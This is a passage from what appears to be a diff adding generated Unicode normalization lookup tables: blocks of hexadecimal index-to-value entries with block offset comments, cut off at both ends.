0x0916, + // Block 0x37, offset 0xdc0 + 0xdc0: 0x0906, 0xdc1: 0x0c06, 0xdc2: 0x0d26, 0xdc3: 0x11ee, 0xdc4: 0x0b4e, 0xdc5: 0x0efe, + 0xdc6: 0x0dea, 0xdc7: 0x14e2, 0xdc8: 0x13e2, 0xdc9: 0x15a6, 0xdca: 0x141e, 0xdcb: 0x0c22, + 0xdcc: 0x0882, 0xdcd: 0x0a56, 0xdd0: 0x0aaa, + 0xdd2: 0x0dda, 0xdd5: 0x08f2, 0xdd6: 0x101a, 0xdd7: 0x10de, + 0xdd8: 0x1142, 0xdd9: 0x115e, 0xdda: 0x1162, 0xddb: 0x1176, 0xddc: 0x15f6, 0xddd: 0x11e6, + 0xdde: 0x126a, 0xde0: 0x138a, 0xde2: 0x144e, + 0xde5: 0x1502, 0xde6: 0x152e, + 0xdea: 0x164a, 0xdeb: 0x164e, 0xdec: 0x1652, 0xded: 0x16b6, 0xdee: 0x1526, 0xdef: 0x15c2, + 0xdf0: 0x0852, 0xdf1: 0x0876, 0xdf2: 0x088a, 0xdf3: 0x0946, 0xdf4: 0x0952, 0xdf5: 0x0992, + 0xdf6: 0x0a46, 0xdf7: 0x0a62, 0xdf8: 0x0a6a, 0xdf9: 0x0aa6, 0xdfa: 0x0ab2, 0xdfb: 0x0b8e, + 0xdfc: 0x0b96, 0xdfd: 0x0c9e, 0xdfe: 0x0cc6, 0xdff: 0x0cce, + // Block 0x38, offset 0xe00 + 0xe00: 0x0ce6, 0xe01: 0x0d92, 0xe02: 0x0dc2, 0xe03: 0x0de2, 0xe04: 0x0e52, 0xe05: 0x0f16, + 0xe06: 0x0f32, 0xe07: 0x0f62, 0xe08: 0x0fb6, 0xe09: 0x0fd6, 0xe0a: 0x104a, 0xe0b: 0x112a, + 0xe0c: 0x1146, 0xe0d: 0x114e, 0xe0e: 0x114a, 0xe0f: 0x1152, 0xe10: 0x1156, 0xe11: 0x115a, + 0xe12: 0x116e, 0xe13: 0x1172, 0xe14: 0x1196, 0xe15: 0x11aa, 0xe16: 0x11c6, 0xe17: 0x122a, + 0xe18: 0x1232, 0xe19: 0x123a, 0xe1a: 0x124e, 0xe1b: 0x1276, 0xe1c: 0x12c6, 0xe1d: 0x12fa, + 0xe1e: 0x12fa, 0xe1f: 0x1362, 0xe20: 0x140a, 0xe21: 0x1422, 0xe22: 0x1456, 0xe23: 0x145a, + 0xe24: 0x149e, 0xe25: 0x14a2, 0xe26: 0x14fa, 0xe27: 0x1502, 0xe28: 0x15d6, 0xe29: 0x161a, + 0xe2a: 0x1632, 0xe2b: 0x0c96, 0xe2c: 0x184b, 0xe2d: 0x12de, + 0xe30: 0x07da, 0xe31: 0x08de, 0xe32: 0x089e, 0xe33: 0x0846, 0xe34: 0x0886, 0xe35: 0x08b2, + 0xe36: 0x0942, 0xe37: 0x095e, 0xe38: 0x0a46, 0xe39: 0x0a32, 0xe3a: 0x0a42, 0xe3b: 0x0a5e, + 0xe3c: 0x0aaa, 0xe3d: 0x0aba, 0xe3e: 0x0afe, 0xe3f: 0x0b0a, + // Block 0x39, offset 0xe40 + 0xe40: 0x0b26, 0xe41: 0x0b36, 0xe42: 0x0c1e, 0xe43: 0x0c26, 0xe44: 0x0c56, 0xe45: 0x0c76, + 0xe46: 0x0ca6, 0xe47: 0x0cbe, 0xe48: 0x0cae, 0xe49: 0x0cce, 0xe4a: 0x0cc2, 0xe4b: 0x0ce6, + 0xe4c: 0x0d02, 0xe4d: 0x0d5a, 0xe4e: 0x0d66, 0xe4f: 0x0d6e, 0xe50: 0x0d96, 0xe51: 0x0dda, + 0xe52: 0x0e0a, 0xe53: 0x0e0e, 0xe54: 0x0e22, 0xe55: 0x0ea2, 0xe56: 0x0eb2, 0xe57: 0x0f0a, + 0xe58: 0x0f56, 0xe59: 0x0f4e, 0xe5a: 0x0f62, 0xe5b: 0x0f7e, 0xe5c: 0x0fb6, 0xe5d: 0x110e, + 0xe5e: 0x0fda, 0xe5f: 0x100e, 0xe60: 0x101a, 0xe61: 0x105a, 0xe62: 0x1076, 0xe63: 0x109a, + 0xe64: 0x10be, 0xe65: 0x10c2, 0xe66: 0x10de, 0xe67: 0x10e2, 0xe68: 0x10f2, 0xe69: 0x1106, + 0xe6a: 0x1102, 0xe6b: 0x1132, 0xe6c: 0x11ae, 0xe6d: 0x11c6, 0xe6e: 0x11de, 0xe6f: 0x1216, + 0xe70: 0x122a, 0xe71: 0x1246, 0xe72: 0x1276, 0xe73: 0x132a, 0xe74: 0x1352, 0xe75: 0x13c6, + 0xe76: 0x140e, 0xe77: 0x141a, 0xe78: 0x1422, 0xe79: 0x143a, 0xe7a: 0x144e, 0xe7b: 0x143e, + 0xe7c: 0x1456, 0xe7d: 0x1452, 0xe7e: 0x144a, 0xe7f: 0x145a, + // Block 0x3a, offset 0xe80 + 0xe80: 0x1466, 0xe81: 0x14a2, 0xe82: 0x14de, 0xe83: 0x150e, 0xe84: 0x1546, 0xe85: 0x1566, + 0xe86: 0x15b2, 0xe87: 0x15d6, 0xe88: 0x15f6, 0xe89: 0x160a, 0xe8a: 0x161a, 0xe8b: 0x1626, + 0xe8c: 0x1632, 0xe8d: 0x1686, 0xe8e: 0x1726, 0xe8f: 0x17e2, 0xe90: 0x17dd, 0xe91: 0x180f, + 0xe92: 0x0702, 0xe93: 0x072a, 0xe94: 0x072e, 0xe95: 0x1891, 0xe96: 0x18be, 0xe97: 0x1936, + 0xe98: 0x1712, 0xe99: 0x1722, + // Block 0x3b, offset 0xec0 + 0xec0: 0x1b05, 0xec1: 0x1b08, 0xec2: 0x1b0b, 0xec3: 0x1d38, 0xec4: 0x1d3c, 0xec5: 0x1b8f, + 0xec6: 0x1b8f, + 0xed3: 0x1ea5, 0xed4: 0x1e96, 0xed5: 0x1e9b, 0xed6: 0x1eaa, 0xed7: 0x1ea0, + 0xedd: 0x44d1, + 0xede: 0x8116, 0xedf: 0x4543, 0xee0: 0x0320, 0xee1: 0x0308, 0xee2: 0x0311, 0xee3: 0x0314, + 0xee4: 0x0317, 0xee5: 0x031a, 0xee6: 0x031d, 0xee7: 0x0323, 0xee8: 0x0326, 0xee9: 0x0017, + 0xeea: 0x4531, 0xeeb: 0x4537, 0xeec: 0x4635, 0xeed: 0x463d, 0xeee: 0x4489, 0xeef: 0x448f, + 0xef0: 0x4495, 0xef1: 0x449b, 0xef2: 0x44a7, 0xef3: 0x44ad, 0xef4: 0x44b3, 0xef5: 0x44bf, + 0xef6: 0x44c5, 0xef8: 0x44cb, 0xef9: 0x44d7, 0xefa: 0x44dd, 0xefb: 0x44e3, + 0xefc: 0x44ef, 0xefe: 0x44f5, + // Block 0x3c, offset 0xf00 + 0xf00: 0x44fb, 0xf01: 0x4501, 0xf03: 0x4507, 0xf04: 0x450d, + 0xf06: 0x4519, 0xf07: 0x451f, 0xf08: 0x4525, 0xf09: 0x452b, 0xf0a: 0x453d, 0xf0b: 0x44b9, + 0xf0c: 0x44a1, 0xf0d: 0x44e9, 0xf0e: 0x4513, 0xf0f: 0x1eaf, 0xf10: 0x038c, 0xf11: 0x038c, + 0xf12: 0x0395, 0xf13: 0x0395, 0xf14: 0x0395, 0xf15: 0x0395, 0xf16: 0x0398, 0xf17: 0x0398, + 0xf18: 0x0398, 0xf19: 0x0398, 0xf1a: 0x039e, 0xf1b: 0x039e, 0xf1c: 0x039e, 0xf1d: 0x039e, + 0xf1e: 0x0392, 0xf1f: 0x0392, 0xf20: 0x0392, 0xf21: 0x0392, 0xf22: 0x039b, 0xf23: 0x039b, + 0xf24: 0x039b, 0xf25: 0x039b, 0xf26: 0x038f, 0xf27: 0x038f, 0xf28: 0x038f, 0xf29: 0x038f, + 0xf2a: 0x03c2, 0xf2b: 0x03c2, 0xf2c: 0x03c2, 0xf2d: 0x03c2, 0xf2e: 0x03c5, 0xf2f: 0x03c5, + 0xf30: 0x03c5, 0xf31: 0x03c5, 0xf32: 0x03a4, 0xf33: 0x03a4, 0xf34: 0x03a4, 0xf35: 0x03a4, + 0xf36: 0x03a1, 0xf37: 0x03a1, 0xf38: 0x03a1, 0xf39: 0x03a1, 0xf3a: 0x03a7, 0xf3b: 0x03a7, + 0xf3c: 0x03a7, 0xf3d: 0x03a7, 0xf3e: 0x03aa, 0xf3f: 0x03aa, + // Block 0x3d, offset 0xf40 + 0xf40: 0x03aa, 0xf41: 0x03aa, 0xf42: 0x03b3, 0xf43: 0x03b3, 0xf44: 0x03b0, 0xf45: 0x03b0, + 0xf46: 0x03b6, 0xf47: 0x03b6, 0xf48: 0x03ad, 0xf49: 0x03ad, 0xf4a: 0x03bc, 0xf4b: 0x03bc, + 0xf4c: 0x03b9, 0xf4d: 0x03b9, 0xf4e: 0x03c8, 0xf4f: 0x03c8, 0xf50: 0x03c8, 0xf51: 0x03c8, + 0xf52: 0x03ce, 0xf53: 0x03ce, 0xf54: 0x03ce, 0xf55: 0x03ce, 0xf56: 0x03d4, 0xf57: 0x03d4, + 0xf58: 0x03d4, 0xf59: 0x03d4, 0xf5a: 0x03d1, 0xf5b: 0x03d1, 0xf5c: 0x03d1, 0xf5d: 0x03d1, + 0xf5e: 0x03d7, 0xf5f: 0x03d7, 0xf60: 0x03da, 0xf61: 0x03da, 0xf62: 0x03da, 0xf63: 0x03da, + 0xf64: 0x45af, 0xf65: 0x45af, 0xf66: 0x03e0, 0xf67: 0x03e0, 0xf68: 0x03e0, 0xf69: 0x03e0, + 0xf6a: 0x03dd, 0xf6b: 0x03dd, 0xf6c: 0x03dd, 0xf6d: 0x03dd, 0xf6e: 0x03fb, 0xf6f: 0x03fb, + 0xf70: 0x45a9, 0xf71: 0x45a9, + // Block 0x3e, offset 0xf80 + 0xf93: 0x03cb, 0xf94: 0x03cb, 0xf95: 0x03cb, 0xf96: 0x03cb, 0xf97: 0x03e9, + 0xf98: 0x03e9, 0xf99: 0x03e6, 0xf9a: 0x03e6, 0xf9b: 0x03ec, 0xf9c: 0x03ec, 0xf9d: 0x217f, + 0xf9e: 0x03f2, 0xf9f: 0x03f2, 0xfa0: 0x03e3, 0xfa1: 0x03e3, 0xfa2: 0x03ef, 0xfa3: 0x03ef, + 0xfa4: 0x03f8, 0xfa5: 0x03f8, 0xfa6: 0x03f8, 0xfa7: 0x03f8, 0xfa8: 0x0380, 0xfa9: 0x0380, + 0xfaa: 0x26da, 0xfab: 0x26da, 0xfac: 0x274a, 0xfad: 0x274a, 0xfae: 0x2719, 0xfaf: 0x2719, + 0xfb0: 0x2735, 0xfb1: 0x2735, 0xfb2: 0x272e, 0xfb3: 0x272e, 0xfb4: 0x273c, 0xfb5: 0x273c, + 0xfb6: 0x2743, 0xfb7: 0x2743, 0xfb8: 0x2743, 0xfb9: 0x2720, 0xfba: 0x2720, 0xfbb: 0x2720, + 0xfbc: 0x03f5, 0xfbd: 0x03f5, 0xfbe: 0x03f5, 0xfbf: 0x03f5, + // Block 0x3f, offset 0xfc0 + 0xfc0: 0x26e1, 0xfc1: 0x26e8, 0xfc2: 0x2704, 0xfc3: 0x2720, 0xfc4: 0x2727, 0xfc5: 0x1eb9, + 0xfc6: 0x1ebe, 0xfc7: 0x1ec3, 0xfc8: 0x1ed2, 0xfc9: 0x1ee1, 0xfca: 0x1ee6, 0xfcb: 0x1eeb, + 0xfcc: 0x1ef0, 0xfcd: 0x1ef5, 0xfce: 0x1f04, 0xfcf: 0x1f13, 0xfd0: 0x1f18, 0xfd1: 0x1f1d, + 0xfd2: 0x1f2c, 0xfd3: 0x1f3b, 0xfd4: 0x1f40, 0xfd5: 0x1f45, 0xfd6: 0x1f4a, 0xfd7: 0x1f59, + 0xfd8: 0x1f5e, 0xfd9: 0x1f6d, 0xfda: 0x1f72, 0xfdb: 0x1f77, 0xfdc: 0x1f86, 0xfdd: 0x1f8b, + 0xfde: 0x1f90, 0xfdf: 0x1f9a, 0xfe0: 0x1fd6, 0xfe1: 0x1fe5, 0xfe2: 0x1ff4, 0xfe3: 0x1ff9, + 0xfe4: 0x1ffe, 0xfe5: 0x2008, 0xfe6: 0x2017, 0xfe7: 0x201c, 0xfe8: 0x202b, 0xfe9: 0x2030, + 0xfea: 0x2035, 0xfeb: 0x2044, 0xfec: 0x2049, 0xfed: 0x2058, 0xfee: 0x205d, 0xfef: 0x2062, + 0xff0: 0x2067, 0xff1: 0x206c, 0xff2: 0x2071, 0xff3: 0x2076, 0xff4: 0x207b, 0xff5: 0x2080, + 0xff6: 0x2085, 0xff7: 0x208a, 0xff8: 0x208f, 0xff9: 0x2094, 0xffa: 0x2099, 0xffb: 0x209e, + 0xffc: 0x20a3, 0xffd: 0x20a8, 0xffe: 0x20ad, 0xfff: 0x20b7, + // Block 0x40, offset 0x1000 + 0x1000: 0x20bc, 0x1001: 0x20c1, 0x1002: 0x20c6, 0x1003: 0x20d0, 0x1004: 0x20d5, 0x1005: 0x20df, + 0x1006: 0x20e4, 0x1007: 0x20e9, 0x1008: 0x20ee, 0x1009: 0x20f3, 0x100a: 0x20f8, 0x100b: 0x20fd, + 0x100c: 0x2102, 0x100d: 0x2107, 0x100e: 0x2116, 0x100f: 0x2125, 0x1010: 0x212a, 0x1011: 0x212f, + 0x1012: 0x2134, 0x1013: 0x2139, 0x1014: 0x213e, 0x1015: 0x2148, 0x1016: 0x214d, 0x1017: 0x2152, + 0x1018: 0x2161, 0x1019: 0x2170, 0x101a: 0x2175, 0x101b: 0x4561, 0x101c: 0x4567, 0x101d: 0x459d, + 0x101e: 0x45f4, 0x101f: 0x45fb, 0x1020: 0x4602, 0x1021: 0x4609, 0x1022: 0x4610, 0x1023: 0x4617, + 0x1024: 0x26f6, 0x1025: 0x26fd, 0x1026: 0x2704, 0x1027: 0x270b, 0x1028: 0x2720, 0x1029: 0x2727, + 0x102a: 0x1ec8, 0x102b: 0x1ecd, 0x102c: 0x1ed2, 0x102d: 0x1ed7, 0x102e: 0x1ee1, 0x102f: 0x1ee6, + 0x1030: 0x1efa, 0x1031: 0x1eff, 0x1032: 0x1f04, 0x1033: 0x1f09, 0x1034: 0x1f13, 0x1035: 0x1f18, + 0x1036: 0x1f22, 0x1037: 0x1f27, 0x1038: 0x1f2c, 0x1039: 0x1f31, 0x103a: 0x1f3b, 0x103b: 0x1f40, + 0x103c: 0x206c, 0x103d: 0x2071, 0x103e: 0x2080, 0x103f: 0x2085, + // Block 0x41, offset 0x1040 + 0x1040: 0x208a, 0x1041: 0x209e, 0x1042: 0x20a3, 0x1043: 0x20a8, 0x1044: 0x20ad, 0x1045: 0x20c6, + 0x1046: 0x20d0, 0x1047: 0x20d5, 0x1048: 0x20da, 0x1049: 0x20ee, 0x104a: 0x210c, 0x104b: 0x2111, + 0x104c: 0x2116, 0x104d: 0x211b, 0x104e: 0x2125, 0x104f: 0x212a, 0x1050: 0x459d, 0x1051: 0x2157, + 0x1052: 0x215c, 0x1053: 0x2161, 0x1054: 0x2166, 0x1055: 0x2170, 0x1056: 0x2175, 0x1057: 0x26e1, + 0x1058: 0x26e8, 0x1059: 0x26ef, 0x105a: 0x2704, 0x105b: 0x2712, 0x105c: 0x1eb9, 0x105d: 0x1ebe, + 0x105e: 0x1ec3, 0x105f: 0x1ed2, 0x1060: 0x1edc, 0x1061: 0x1eeb, 0x1062: 0x1ef0, 0x1063: 0x1ef5, + 0x1064: 0x1f04, 0x1065: 0x1f0e, 0x1066: 0x1f2c, 0x1067: 0x1f45, 0x1068: 0x1f4a, 0x1069: 0x1f59, + 0x106a: 0x1f5e, 0x106b: 0x1f6d, 0x106c: 0x1f77, 0x106d: 0x1f86, 0x106e: 0x1f8b, 0x106f: 0x1f90, + 0x1070: 0x1f9a, 0x1071: 0x1fd6, 0x1072: 0x1fdb, 0x1073: 0x1fe5, 0x1074: 0x1ff4, 0x1075: 0x1ff9, + 0x1076: 0x1ffe, 0x1077: 0x2008, 0x1078: 0x2017, 0x1079: 0x202b, 0x107a: 0x2030, 0x107b: 0x2035, + 0x107c: 0x2044, 0x107d: 0x2049, 0x107e: 0x2058, 0x107f: 0x205d, + // Block 0x42, offset 0x1080 + 0x1080: 0x2062, 0x1081: 0x2067, 0x1082: 0x2076, 0x1083: 0x207b, 0x1084: 0x208f, 0x1085: 0x2094, + 0x1086: 0x2099, 0x1087: 0x209e, 0x1088: 0x20a3, 0x1089: 0x20b7, 0x108a: 0x20bc, 0x108b: 0x20c1, + 0x108c: 0x20c6, 0x108d: 0x20cb, 0x108e: 0x20df, 0x108f: 0x20e4, 0x1090: 0x20e9, 0x1091: 0x20ee, + 0x1092: 0x20fd, 0x1093: 0x2102, 0x1094: 0x2107, 0x1095: 0x2116, 0x1096: 0x2120, 0x1097: 0x212f, + 0x1098: 0x2134, 0x1099: 0x4591, 0x109a: 0x2148, 0x109b: 0x214d, 0x109c: 0x2152, 0x109d: 0x2161, + 0x109e: 0x216b, 0x109f: 0x2704, 0x10a0: 0x2712, 0x10a1: 0x1ed2, 0x10a2: 0x1edc, 0x10a3: 0x1f04, + 0x10a4: 0x1f0e, 0x10a5: 0x1f2c, 0x10a6: 0x1f36, 0x10a7: 0x1f9a, 0x10a8: 0x1f9f, 0x10a9: 0x1fc2, + 0x10aa: 0x1fc7, 0x10ab: 0x209e, 0x10ac: 0x20a3, 0x10ad: 0x20c6, 0x10ae: 0x2116, 0x10af: 0x2120, + 0x10b0: 0x2161, 0x10b1: 0x216b, 0x10b2: 0x4645, 0x10b3: 0x464d, 0x10b4: 0x4655, 0x10b5: 0x2021, + 0x10b6: 0x2026, 0x10b7: 0x203a, 0x10b8: 0x203f, 0x10b9: 0x204e, 0x10ba: 0x2053, 0x10bb: 0x1fa4, + 0x10bc: 0x1fa9, 0x10bd: 0x1fcc, 0x10be: 0x1fd1, 0x10bf: 0x1f63, + // Block 0x43, offset 0x10c0 + 0x10c0: 0x1f68, 0x10c1: 0x1f4f, 0x10c2: 0x1f54, 0x10c3: 0x1f7c, 0x10c4: 0x1f81, 0x10c5: 0x1fea, + 0x10c6: 0x1fef, 0x10c7: 0x200d, 0x10c8: 0x2012, 0x10c9: 0x1fae, 0x10ca: 0x1fb3, 0x10cb: 0x1fb8, + 0x10cc: 0x1fc2, 0x10cd: 0x1fbd, 0x10ce: 0x1f95, 0x10cf: 0x1fe0, 0x10d0: 0x2003, 0x10d1: 0x2021, + 0x10d2: 0x2026, 0x10d3: 0x203a, 0x10d4: 0x203f, 0x10d5: 0x204e, 0x10d6: 0x2053, 0x10d7: 0x1fa4, + 0x10d8: 0x1fa9, 0x10d9: 0x1fcc, 0x10da: 0x1fd1, 0x10db: 0x1f63, 0x10dc: 0x1f68, 0x10dd: 0x1f4f, + 0x10de: 0x1f54, 0x10df: 0x1f7c, 0x10e0: 0x1f81, 0x10e1: 0x1fea, 0x10e2: 0x1fef, 0x10e3: 0x200d, + 0x10e4: 0x2012, 0x10e5: 0x1fae, 0x10e6: 0x1fb3, 0x10e7: 0x1fb8, 0x10e8: 0x1fc2, 0x10e9: 0x1fbd, + 0x10ea: 0x1f95, 0x10eb: 0x1fe0, 0x10ec: 0x2003, 0x10ed: 0x1fae, 0x10ee: 0x1fb3, 0x10ef: 0x1fb8, + 0x10f0: 0x1fc2, 0x10f1: 0x1f9f, 0x10f2: 0x1fc7, 0x10f3: 0x201c, 0x10f4: 0x1f86, 0x10f5: 0x1f8b, + 0x10f6: 0x1f90, 0x10f7: 0x1fae, 0x10f8: 0x1fb3, 0x10f9: 0x1fb8, 0x10fa: 0x201c, 0x10fb: 0x202b, + 0x10fc: 0x4549, 0x10fd: 0x4549, + // Block 0x44, offset 0x1100 + 0x1110: 0x2441, 0x1111: 0x2456, + 0x1112: 0x2456, 0x1113: 0x245d, 0x1114: 0x2464, 0x1115: 0x2479, 0x1116: 0x2480, 0x1117: 0x2487, + 0x1118: 0x24aa, 0x1119: 0x24aa, 0x111a: 0x24cd, 0x111b: 0x24c6, 0x111c: 0x24e2, 0x111d: 0x24d4, + 0x111e: 0x24db, 0x111f: 0x24fe, 0x1120: 0x24fe, 0x1121: 0x24f7, 0x1122: 0x2505, 0x1123: 0x2505, + 0x1124: 0x252f, 0x1125: 0x252f, 0x1126: 0x254b, 0x1127: 0x2513, 0x1128: 0x2513, 0x1129: 0x250c, + 0x112a: 0x2521, 0x112b: 0x2521, 0x112c: 0x2528, 0x112d: 0x2528, 0x112e: 0x2552, 0x112f: 0x2560, + 0x1130: 0x2560, 0x1131: 0x2567, 0x1132: 0x2567, 0x1133: 0x256e, 0x1134: 0x2575, 0x1135: 0x257c, + 0x1136: 0x2583, 0x1137: 0x2583, 0x1138: 0x258a, 0x1139: 0x2598, 0x113a: 0x25a6, 0x113b: 0x259f, + 0x113c: 0x25ad, 0x113d: 0x25ad, 0x113e: 0x25c2, 0x113f: 0x25c9, + // Block 0x45, offset 0x1140 + 0x1140: 0x25fa, 0x1141: 0x2608, 0x1142: 0x2601, 0x1143: 0x25e5, 0x1144: 0x25e5, 0x1145: 0x260f, + 0x1146: 0x260f, 0x1147: 0x2616, 0x1148: 0x2616, 0x1149: 0x2640, 0x114a: 0x2647, 0x114b: 0x264e, + 0x114c: 0x2624, 0x114d: 0x2632, 0x114e: 0x2655, 0x114f: 0x265c, + 0x1152: 0x262b, 0x1153: 0x26b0, 0x1154: 0x26b7, 0x1155: 0x268d, 0x1156: 0x2694, 0x1157: 0x2678, + 0x1158: 0x2678, 0x1159: 0x267f, 0x115a: 0x26a9, 0x115b: 0x26a2, 0x115c: 0x26cc, 0x115d: 0x26cc, + 0x115e: 0x243a, 0x115f: 0x244f, 0x1160: 0x2448, 0x1161: 0x2472, 0x1162: 0x246b, 0x1163: 0x2495, + 0x1164: 0x248e, 0x1165: 0x24b8, 0x1166: 0x249c, 0x1167: 0x24b1, 0x1168: 0x24e9, 0x1169: 0x2536, + 0x116a: 0x251a, 0x116b: 0x2559, 0x116c: 0x25f3, 0x116d: 0x261d, 0x116e: 0x26c5, 0x116f: 0x26be, + 0x1170: 0x26d3, 0x1171: 0x266a, 0x1172: 0x25d0, 0x1173: 0x269b, 0x1174: 0x25c2, 0x1175: 0x25fa, + 0x1176: 0x2591, 0x1177: 0x25de, 0x1178: 0x2671, 0x1179: 0x2663, 0x117a: 0x25ec, 0x117b: 0x25d7, + 0x117c: 0x25ec, 0x117d: 0x2671, 0x117e: 0x24a3, 0x117f: 0x24bf, + // Block 0x46, offset 0x1180 + 0x1180: 0x2639, 0x1181: 0x25b4, 0x1182: 0x2433, 0x1183: 0x25d7, 0x1184: 0x257c, 0x1185: 0x254b, + 0x1186: 0x24f0, 0x1187: 0x2686, + 0x11b0: 0x2544, 0x11b1: 0x25bb, 0x11b2: 0x28f6, 0x11b3: 0x28ed, 0x11b4: 0x2923, 0x11b5: 0x2911, + 0x11b6: 0x28ff, 0x11b7: 0x291a, 0x11b8: 0x292c, 0x11b9: 0x253d, 0x11ba: 0x2db3, 0x11bb: 0x2c33, + 0x11bc: 0x2908, + // Block 0x47, offset 0x11c0 + 0x11d0: 0x0019, 0x11d1: 0x057e, + 0x11d2: 0x0582, 0x11d3: 0x0035, 0x11d4: 0x0037, 0x11d5: 0x0003, 0x11d6: 0x003f, 0x11d7: 0x05ba, + 0x11d8: 0x05be, 0x11d9: 0x1c8c, + 0x11e0: 0x8133, 0x11e1: 0x8133, 0x11e2: 0x8133, 0x11e3: 0x8133, + 0x11e4: 0x8133, 0x11e5: 0x8133, 0x11e6: 0x8133, 0x11e7: 0x812e, 0x11e8: 0x812e, 0x11e9: 0x812e, + 0x11ea: 0x812e, 0x11eb: 0x812e, 0x11ec: 0x812e, 0x11ed: 0x812e, 0x11ee: 0x8133, 0x11ef: 0x8133, + 0x11f0: 0x19a0, 0x11f1: 0x053a, 0x11f2: 0x0536, 0x11f3: 0x007f, 0x11f4: 0x007f, 0x11f5: 0x0011, + 0x11f6: 0x0013, 0x11f7: 0x00b7, 0x11f8: 0x00bb, 0x11f9: 0x05b2, 0x11fa: 0x05b6, 0x11fb: 0x05a6, + 0x11fc: 0x05aa, 0x11fd: 0x058e, 0x11fe: 0x0592, 0x11ff: 0x0586, + // Block 0x48, offset 0x1200 + 0x1200: 0x058a, 0x1201: 0x0596, 0x1202: 0x059a, 0x1203: 0x059e, 0x1204: 0x05a2, + 0x1207: 0x0077, 0x1208: 0x007b, 0x1209: 0x43aa, 0x120a: 0x43aa, 0x120b: 0x43aa, + 0x120c: 0x43aa, 0x120d: 0x007f, 0x120e: 0x007f, 0x120f: 0x007f, 0x1210: 0x0019, 0x1211: 0x057e, + 0x1212: 0x001d, 0x1214: 0x0037, 0x1215: 0x0035, 0x1216: 0x003f, 0x1217: 0x0003, + 0x1218: 0x053a, 0x1219: 0x0011, 0x121a: 0x0013, 0x121b: 0x00b7, 0x121c: 0x00bb, 0x121d: 0x05b2, + 0x121e: 0x05b6, 0x121f: 0x0007, 0x1220: 0x000d, 0x1221: 0x0015, 0x1222: 0x0017, 0x1223: 0x001b, + 0x1224: 0x0039, 0x1225: 0x003d, 0x1226: 0x003b, 0x1228: 0x0079, 0x1229: 0x0009, + 0x122a: 0x000b, 0x122b: 0x0041, + 0x1230: 0x43eb, 0x1231: 0x456d, 0x1232: 0x43f0, 0x1234: 0x43f5, + 0x1236: 0x43fa, 0x1237: 0x4573, 0x1238: 0x43ff, 0x1239: 0x4579, 0x123a: 0x4404, 0x123b: 0x457f, + 0x123c: 0x4409, 0x123d: 0x4585, 0x123e: 0x440e, 0x123f: 0x458b, + // Block 0x49, offset 0x1240 + 0x1240: 0x0329, 0x1241: 0x454f, 0x1242: 0x454f, 0x1243: 0x4555, 0x1244: 0x4555, 0x1245: 0x4597, + 0x1246: 0x4597, 0x1247: 0x455b, 0x1248: 0x455b, 0x1249: 0x45a3, 0x124a: 0x45a3, 0x124b: 0x45a3, + 0x124c: 0x45a3, 0x124d: 0x032c, 0x124e: 0x032c, 0x124f: 0x032f, 0x1250: 0x032f, 0x1251: 0x032f, + 0x1252: 0x032f, 0x1253: 0x0332, 0x1254: 0x0332, 0x1255: 0x0335, 0x1256: 0x0335, 0x1257: 0x0335, + 0x1258: 0x0335, 0x1259: 0x0338, 0x125a: 0x0338, 0x125b: 0x0338, 0x125c: 0x0338, 0x125d: 0x033b, + 0x125e: 0x033b, 0x125f: 0x033b, 0x1260: 0x033b, 0x1261: 0x033e, 0x1262: 0x033e, 0x1263: 0x033e, + 0x1264: 0x033e, 0x1265: 0x0341, 0x1266: 0x0341, 0x1267: 0x0341, 0x1268: 0x0341, 0x1269: 0x0344, + 0x126a: 0x0344, 0x126b: 0x0347, 0x126c: 0x0347, 0x126d: 0x034a, 0x126e: 0x034a, 0x126f: 0x034d, + 0x1270: 0x034d, 0x1271: 0x0350, 0x1272: 0x0350, 0x1273: 0x0350, 0x1274: 0x0350, 0x1275: 0x0353, + 0x1276: 0x0353, 0x1277: 0x0353, 0x1278: 0x0353, 0x1279: 0x0356, 0x127a: 0x0356, 0x127b: 0x0356, + 0x127c: 0x0356, 0x127d: 0x0359, 0x127e: 0x0359, 0x127f: 0x0359, + // Block 0x4a, offset 0x1280 + 0x1280: 0x0359, 0x1281: 0x035c, 0x1282: 0x035c, 0x1283: 0x035c, 0x1284: 0x035c, 0x1285: 0x035f, + 0x1286: 0x035f, 0x1287: 0x035f, 0x1288: 0x035f, 0x1289: 0x0362, 0x128a: 0x0362, 0x128b: 0x0362, + 0x128c: 0x0362, 0x128d: 0x0365, 0x128e: 0x0365, 0x128f: 0x0365, 0x1290: 0x0365, 0x1291: 0x0368, + 0x1292: 0x0368, 0x1293: 0x0368, 0x1294: 0x0368, 0x1295: 0x036b, 0x1296: 0x036b, 0x1297: 0x036b, + 0x1298: 0x036b, 0x1299: 0x036e, 0x129a: 0x036e, 0x129b: 0x036e, 0x129c: 0x036e, 0x129d: 0x0371, + 0x129e: 0x0371, 0x129f: 0x0371, 0x12a0: 0x0371, 0x12a1: 0x0374, 0x12a2: 0x0374, 0x12a3: 0x0374, + 0x12a4: 0x0374, 0x12a5: 0x0377, 0x12a6: 0x0377, 0x12a7: 0x0377, 0x12a8: 0x0377, 0x12a9: 0x037a, + 0x12aa: 0x037a, 0x12ab: 0x037a, 0x12ac: 0x037a, 0x12ad: 0x037d, 0x12ae: 0x037d, 0x12af: 0x0380, + 0x12b0: 0x0380, 0x12b1: 0x0383, 0x12b2: 0x0383, 0x12b3: 0x0383, 0x12b4: 0x0383, 0x12b5: 0x2f41, + 0x12b6: 0x2f41, 0x12b7: 0x2f49, 0x12b8: 0x2f49, 0x12b9: 0x2f51, 0x12ba: 0x2f51, 0x12bb: 0x20b2, + 0x12bc: 0x20b2, + // Block 0x4b, offset 0x12c0 + 0x12c0: 0x0081, 0x12c1: 0x0083, 0x12c2: 0x0085, 0x12c3: 0x0087, 0x12c4: 0x0089, 0x12c5: 0x008b, + 0x12c6: 0x008d, 0x12c7: 0x008f, 0x12c8: 0x0091, 0x12c9: 0x0093, 0x12ca: 0x0095, 0x12cb: 0x0097, + 0x12cc: 0x0099, 0x12cd: 0x009b, 0x12ce: 0x009d, 0x12cf: 0x009f, 0x12d0: 0x00a1, 0x12d1: 0x00a3, + 0x12d2: 0x00a5, 0x12d3: 0x00a7, 0x12d4: 0x00a9, 0x12d5: 0x00ab, 0x12d6: 0x00ad, 0x12d7: 0x00af, + 0x12d8: 0x00b1, 0x12d9: 0x00b3, 0x12da: 0x00b5, 0x12db: 0x00b7, 0x12dc: 0x00b9, 0x12dd: 0x00bb, + 0x12de: 0x00bd, 0x12df: 0x056e, 0x12e0: 0x0572, 0x12e1: 0x0582, 0x12e2: 0x0596, 0x12e3: 0x059a, + 0x12e4: 0x057e, 0x12e5: 0x06a6, 0x12e6: 0x069e, 0x12e7: 0x05c2, 0x12e8: 